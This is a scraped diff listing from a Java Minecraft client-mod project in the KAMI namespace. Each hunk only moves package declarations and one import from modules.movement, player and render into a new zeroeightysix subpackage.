package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,10 +1,10 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.module.ModuleManager;
import me.zeroeightsix.kami.module.modules.render.Pathfind;
import me.zeroeightsix.kami.module.modules.zeroeightysix.render.Pathfind;
import me.zeroeightsix.kami.setting.Setting;
import me.zeroeightsix.kami.setting.Settings;
import net.minecraft.pathfinding.PathPoint;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.movement;
package me.zeroeightsix.kami.module.modules.zeroeightysix.movement;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zeroeightsix.kami.module.Module;
import net.minecraft.client.gui.inventory.GuiContainer;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zeroeightsix.kami.module.Module;
import net.minecraft.client.settings.KeyBinding;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.module.ModuleManager;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.player;
package me.zeroeightsix.kami.module.modules.zeroeightysix.player;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.module.Module;
import me.zeroeightsix.kami.setting.Setting;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.event.events.RenderEvent;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.event.events.RenderEvent;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.event.events.RenderEvent;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zero.alpine.listener.EventHandler;
import me.zero.alpine.listener.Listener;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.command.Command;
import me.zeroeightsix.kami.event.events.RenderEvent;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.event.events.RenderEvent;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.event.events.RenderEvent;
import me.zeroeightsix.kami.module.Module;

View File

@ -1,4 +1,4 @@
package me.zeroeightsix.kami.module.modules.render;
package me.zeroeightsix.kami.module.modules.zeroeightysix.render;
import me.zeroeightsix.kami.event.events.RenderEvent;
import me.zeroeightsix.kami.module.Module;